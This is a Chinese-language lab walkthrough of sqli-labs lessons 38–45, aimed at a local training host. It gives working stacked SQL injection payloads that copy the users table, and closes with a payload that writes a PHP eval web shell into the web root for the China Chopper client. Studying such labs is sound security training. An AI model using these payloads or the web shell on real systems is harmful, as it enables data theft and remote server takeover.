sqli lab 38-45

less38
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。

而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ;表示语句结束。

这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
我们可以在mysql命令行中进行测试:

Select * from users; create table test1 like users;
Show tables;
Select * from users; drop table test1;
Select * from users; select 1,2,3;

http://192.168.50.100/sqli-labs/Less-38/?id=1'; create table ghz like users ;--+

http://192.168.50.100/sqli-labs/Less-38/?id=1'; create table ghz like users ;--+ 

但其实这样只是复制了表的结构 美哟做到复制表的数据

参考链接 :https://blog.csdn.net/qi95719/article/details/60883148

http://192.168.50.100/sqli-labs/Less-38/?id=1';create table ghz38 like users;insert into ghz38 select *from users; --+

 

 

less-39

id=1

一样的道理,只是闭合sql语句不同:

 http://192.168.50.100/sqli-labs/Less-39/?id=1;create table ghz39 like users;insert into ghz39 select *from users; --+

less-40

 id=(‘1’),并且错误不回显

 一样的道理,只是闭合sql语句不同:

 http://192.168.50.100/sqli-labs/Less-40/?id=1‘);create table ghz40 like users;insert into  ghz40 select *from users; --+

less41

?id=1’  并且没有回显信息 也没有错误提示  这就是和39关的区别

id=1,并且错误不回显

一样的道理,只是闭合sql语句不同:

 http://192.168.50.100/sqli-labs/Less-41/?id=1;create table ghz41 like users;insert into ghz41 select *from users; --+

less42

 

 42

 a';create table ghz42 like users;insert into ghz42 select *from users; #

less-43

与42关基本一样。区别在:id=(’1‘)

password构造语句:a');create table ghz43 like users;insert into ghz43 select *from users; #

less-44

与42关基本一样。区别在:没有回显信息    id=’1‘

password构造语句:a';create table ghz44 like users;insert into ghz44 select *from users; #

less-45

与42关基本一样。区别在:没有回显信息  id=(’1‘)

password构造语句:a');create table ghz45 like users;insert into ghz45 select *from users; #

另一种方式  使用中国菜刀链接

a’;select  '<?php @eval($_POST[“ghz”]);?>'  into outfile ‘C:\PhpStudy\PHPTutorial\WWW\sqli-labs\Less-42\ghz42.php’ #

 

 

原文地址:https://www.cnblogs.com/xingyuner/p/12254170.html